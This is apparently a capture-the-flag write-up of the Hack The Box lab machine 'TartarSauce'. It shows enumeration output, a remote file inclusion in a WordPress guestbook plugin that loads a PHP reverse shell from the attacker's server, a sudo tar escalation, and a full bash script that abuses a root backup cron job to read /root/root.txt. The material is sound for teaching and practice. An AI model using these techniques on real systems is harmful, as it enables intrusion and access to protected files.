TartarSauce

tags: HTB Medium Linux OSCP
Platform: Hackthebox
Difficult: Medium
S.O.: Linux

Enumeration

Nmap

To get started, we run a quick open ports scan.

$ nmap -p- -T4 10.10.10.88
Starting Nmap 7.80 ( https://nmap.org ) at 2021-04-02 19:17 CEST
Nmap scan report for 10.10.10.88
Host is up (0.096s latency).
Not shown: 65534 closed ports
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 41.13 seconds

Now that we know the open ports, let's scan them in depth.

$ nmap -A -Pn -p 80 10.10.10.88
Starting Nmap 7.80 ( https://nmap.org ) at 2021-04-02 19:19 CEST
Nmap scan report for 10.10.10.88
Host is up (0.094s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 5 disallowed entries 
| /webservices/tar/tar/source/ 
| /webservices/monstra-3.0.4/ /webservices/easy-file-uploader/ 
|_/webservices/developmental/ /webservices/phpmyadmin/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Landing Page
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.18 (95%), Linux 3.2 - 4.9 (95%), Linux 3.16 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.1 (93%), Linux 3.2 (93%), Linux 3.10 - 4.11 (93%), Oracle VM Server 3.4.2 (Linux 4.1) (93%), Linux 3.13 (93%), DD-WRT (Linux 3.18) (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   94.20 ms 10.10.14.1
2   94.42 ms 10.10.10.88

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.35 seconds

Website

In the main page we did not find anything interesting and testing all the records in the robots.txt file we can verify that the path /webservices/monstra-3.0.4/ is the only correct one.

Let's launch a gobuster on it.

Gobuster

$ gobuster dir -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.88/webservices/monstra-3.0.4/ -x php,html,bak,txt -t 50 2>/dev/null
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.88/webservices/monstra-3.0.4/
[+] Threads:        50
[+] Wordlist:       /usr/share/wordlists/dirb/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     txt,php,html,bak
[+] Timeout:        10s
===============================================================
2021/04/09 17:39:04 Starting gobuster
===============================================================
/.htpasswd (Status: 403)
/.htpasswd.php (Status: 403)
/.htpasswd.html (Status: 403)
/.htpasswd.bak (Status: 403)
/.htpasswd.txt (Status: 403)
/.htaccess (Status: 403)
/.htaccess.php (Status: 403)
/.htaccess.html (Status: 403)
/.htaccess.bak (Status: 403)
/.htaccess.txt (Status: 403)
/admin (Status: 301)
/backups (Status: 301)
/boot (Status: 301)
/engine (Status: 301)
/favicon.ico (Status: 200)
/index.php (Status: 200)
/libraries (Status: 301)
/plugins (Status: 301)
/public (Status: 301)
/robots.txt (Status: 200)
/robots.txt (Status: 200)
/rss.php (Status: 200)
/sitemap.xml (Status: 200)
/storage (Status: 301)
/tmp (Status: 301)
===============================================================
2021/04/09 17:42:21 Finished
===============================================================

Testing with admin as username and password, we get access to the administration panel that we find inside the admin directory.

I have not managed to exploit anything on the Monstra site so let's see if there are other websites inside the webservices directory with gobuster.

$ gobuster dir -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.88/webservices/ -x php,html,bak,txt -t 50 2>/dev/null
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.88/webservices/
[+] Threads:        50
[+] Wordlist:       /usr/share/wordlists/dirb/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php,html,bak,txt
[+] Timeout:        10s
===============================================================
2021/04/10 11:21:20 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.htaccess.php (Status: 403)
/.htaccess.html (Status: 403)
/.htaccess.bak (Status: 403)
/.htaccess.txt (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.bak (Status: 403)
/.htpasswd.txt (Status: 403)
/.htpasswd.php (Status: 403)
/.htpasswd.html (Status: 403)
/wp (Status: 301)
===============================================================
2021/04/10 11:24:39 Finished
===============================================================

As we can see, we have been able to find a Wordpress site withinwp. Let's analyze with wpscan.

$ wpscan --url http://tartarsauce.htb/webservices/wp/ -e --plugins-detection aggressive
[...]
[+] gwolle-gb
 | Location: http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/
 | Last Updated: 2021-03-03T11:41:00.000Z
 | Readme: http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt
 | [!] The version is out of date, the latest version is 4.1.1
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/, status: 200
 |
 | [!] 1 vulnerability identified:
 |
 | [!] Title: Gwolle Guestbook <= 2.5.3 - Cross-Site Scripting (XSS)
 |     Fixed in: 2.5.4
 |     References:
 |      - https://wpvulndb.com/vulnerabilities/00c33bf2-1527-4276-a470-a21da5929566
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-17884
 |      - https://seclists.org/fulldisclosure/2018/Jul/89
 |      - https://www.defensecode.com/advisories/DC-2018-05-008_WordPress_Gwolle_Guestbook_Plugin_Advisory.pdf
 |      - https://plugins.trac.wordpress.org/changeset/1888023/gwolle-gb
 |
 | Version: 2.3.10 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt
[...]

Perfect, it reports that the Gwolle plugin is vulnerable to Remote File Inclusion.

Exploitation

By calling the URL http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.10/ we can see that it requests the file wp-load.php.

$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.88 - - [10/Apr/2021 11:50:50] code 404, message File not found
10.10.10.88 - - [10/Apr/2021 11:50:50] "GET /wp-load.php HTTP/1.0" 404 -

Therefore, we are going to create a reverse shell in php called that way and make a request to the same URL with an active listener.

$ nc -lnvp 8787
Listening on port 8787...
Received connection from 10.10.10.88:34570
Linux TartarSauce 4.15.0-041500-generic #201802011154 SMP Thu Feb 1 12:05:23 UTC 2018 i686 athlon i686 GNU/Linux
 05:55:15 up 36 min,  0 users,  load average: 0.11, 0.43, 0.46
USER     TTY      FROM             [email protected]   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (1203): Inappropriate ioctl for device
bash: no job control in this shell
[email protected]:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[email protected]:/$ hostname
TartarSauce
[email protected]:/$

Post exploitation

Privilege escalation: www-data to onuma

Sudo

As we can see, we can run as onuma without password /bin/tar so we can escalate to him with it.

[email protected]:/var/www/html/webservices/wp$ sudo -l
Matching Defaults entries for www-data on TartarSauce:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on TartarSauce:
    (onuma) NOPASSWD: /bin/tar

Using the GTFOBins method we can escalate to onuma using /bin/tar.

$ sudo -u onuma /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
/bin/tar: Removing leading `/' from member names
id
uid=1000(onuma) gid=1000(onuma) groups=1000(onuma),24(cdrom),30(dip),46(plugdev)
python3 -c "import pty; pty.spawn('/bin/bash')"
[email protected]:~$

And now, we can read the user flag.

[email protected]:/$ cd /home/onuma
ls
shadow_bkp
user.txt
[email protected]:~$ cat user.txt
CENSORED_FLAG

Getting the root flag

Pspy

Running pspy we can see that there is a CRON job running a script called /usr/sbin/backuperer as root. Let's see its content.

2021/04/11 13:29:28 CMD: UID=0    PID=2170   | /bin/bash /usr/sbin/backuperer 
2021/04/11 13:29:28 CMD: UID=0    PID=2173   | /usr/bin/printf - 
2021/04/11 13:29:28 CMD: UID=0    PID=2179   | /bin/date 
2021/04/11 13:29:28 CMD: UID=0    PID=2180   | 
2021/04/11 13:29:28 CMD: UID=0    PID=2181   | /bin/rm -rf /var/tmp/. /var/tmp/.. /var/tmp/check 
2021/04/11 13:29:28 CMD: UID=0    PID=2185   | /bin/sleep 30 
2021/04/11 13:29:28 CMD: UID=0    PID=2184   | /usr/bin/sudo -u onuma /bin/tar -zcvf /var/tmp/.d4e49110e071463ca09652b48525895475fbf99f /var/www/html 
2021/04/11 13:29:28 CMD: UID=1000 PID=2189   | /bin/tar -zcvf /var/tmp/.d4e49110e071463ca09652b48525895475fbf99f /var/www/html 
2021/04/11 13:29:28 CMD: UID=1000 PID=2188   | /bin/tar -zcvf /var/tmp/.d4e49110e071463ca09652b48525895475fbf99f /var/www/html 
2021/04/11 13:29:58 CMD: UID=0    PID=2195   | gzip -d 
2021/04/11 13:29:58 CMD: UID=0    PID=2194   | /bin/tar -zxvf /var/tmp/.d4e49110e071463ca09652b48525895475fbf99f -C /var/tmp/check 
2021/04/11 13:29:59 CMD: UID=0    PID=2197   | /bin/bash /usr/sbin/backuperer 
2021/04/11 13:29:59 CMD: UID=0    PID=2196   | /bin/bash /usr/sbin/backuperer 
2021/04/11 13:29:59 CMD: UID=0    PID=2198   | /bin/mv /var/tmp/.d4e49110e071463ca09652b48525895475fbf99f /var/backups/onuma-www-dev.bak 
2021/04/11 13:29:59 CMD: UID=0    PID=2199   | /bin/rm -rf /var/tmp/check . ..

Backuperer

This is the script content.

#!/bin/bash

#-------------------------------------------------------------------------------------
# backuperer ver 1.0.2 - by ╚£ËÄ┼ùg═À═╝╚£
# ONUMA Dev auto backup program
# This tool will keep our webapp backed up incase another skiddie defaces us again.
# We will be able to quickly restore from a backup in seconds ;P
#-------------------------------------------------------------------------------------

# Set Vars Here
basedir=/var/www/html
bkpdir=/var/backups
tmpdir=/var/tmp
testmsg=$bkpdir/onuma_backup_test.txt
errormsg=$bkpdir/onuma_backup_error.txt
tmpfile=$tmpdir/.$(/usr/bin/head -c100 /dev/urandom |sha1sum|cut -d' ' -f1)
check=$tmpdir/check

# formatting
printbdr()
{
    for n in $(seq 72);
    do /usr/bin/printf $"-";
    done
}
bdr=$(printbdr)

# Added a test file to let us see when the last backup was run
/usr/bin/printf $"$bdr\nAuto backup backuperer backup last ran at : $(/bin/date)\n$bdr\n" > $testmsg

# Cleanup from last time.
/bin/rm -rf $tmpdir/.* $check

# Backup onuma website dev files.
/usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile $basedir &

# Added delay to wait for backup to complete if large files get added.
/bin/sleep 30

# Test the backup integrity
integrity_chk()
{
    /usr/bin/diff -r $basedir $check$basedir
}

/bin/mkdir $check
/bin/tar -zxvf $tmpfile -C $check
if [[ $(integrity_chk) ]]
then
    # Report errors so the dev can investigate the issue.
    /usr/bin/printf $"$bdr\nIntegrity Check Error in backup last ran :  $(/bin/date)\n$bdr\n$tmpfile\n" >> $errormsg
    integrity_chk >> $errormsg
    exit 2
else
    # Clean up and save archive to the bkpdir.
    /bin/mv $tmpfile $bkpdir/onuma-www-dev.bak
    /bin/rm -rf $check .*
    exit 0
fi

The script compresses the directory contained in the $basedir variable and saves it in the file contained in $tmpfile, once compressed it waits 30 seconds and calls the integrity_chk function which does a recursive diff of the files so, during the 30 seconds of sleep we should be able to extract the content of the compressed file, modify one of its files making it a link to the root flag, compress it again and in this way the diff should show us in the log the flag.

#!/bin/bash

initial=$(find /var/tmp -maxdepth 1 -type f -name ".*")
actual=$(find /var/tmp -maxdepth 1 -type f -name ".*")

echo "Waiting for the process start..."
while [ "$initial" == "$actual" -o "$actual" == "" ] ; do
    sleep 10;
    actual=$(find /var/tmp -maxdepth 1 -type f -name ".*")
done

cp $actual .
filename=$(echo $actual | cut -d'/' -f4)
tar -zxf $filename
rm var/www/html/robots.txt
ln -s /root/root.txt var/www/html/robots.txt
rm $filename
tar -czf $filename var
mv $filename $actual
rm $filename
rm -rf var

echo "Done! Here is the log:"
tail -f /var/backups/onuma_backup_error.txt

We execute the script, and after waiting a few seconds ... We get the root flag!

[email protected]:~$ bash script.sh
bash script.sh
Waiting for the process start...
tar: var/www/html/webservices/monstra-3.0.4/public/uploads/.empty: Cannot stat: Permission denied
tar: Exiting with failure status due to previous errors
rm: cannot remove '.c960c11cc5180e9f7f5d7835abb7ae83a022f816': No such file or directory
rm: cannot remove 'var/www/html/webservices/monstra-3.0.4/public/uploads/.empty': Permission denied
Done! Here is the log:
Only in /var/www/html/webservices/monstra-3.0.4: robots.txt
Only in /var/www/html/webservices/monstra-3.0.4: rss.php
Only in /var/www/html/webservices/monstra-3.0.4: sitemap.xml
Only in /var/www/html/webservices/monstra-3.0.4: storage
Only in /var/www/html/webservices/monstra-3.0.4: tmp
------------------------------------------------------------------------
Integrity Check Error in backup last ran :  Thu Jan 21 05:38:54 EST 2021
------------------------------------------------------------------------
/var/tmp/.379fe8e77f9f84a66b9a6df9a452d10499713829
Binary files /var/www/html/webservices/wp/.wp-config.php.swp and /var/tmp/check/var/www/html/webservices/wp/.wp-config.php.swp differ
------------------------------------------------------------------------
Integrity Check Error in backup last ran :  Wed Apr 14 03:21:19 EDT 2021
------------------------------------------------------------------------
/var/tmp/.c960c11cc5180e9f7f5d7835abb7ae83a022f816
diff -r /var/www/html/robots.txt /var/tmp/check/var/www/html/robots.txt
1,7c1
< User-agent: *
< Disallow: /webservices/tar/tar/source/
< Disallow: /webservices/monstra-3.0.4/
< Disallow: /webservices/easy-file-uploader/
< Disallow: /webservices/developmental/
< Disallow: /webservices/phpmyadmin/
<
---
> CENSORED_FLAG
Only in /var/www/html/webservices/monstra-3.0.4/public/uploads: .empty

Using this same method we could read any file on the system.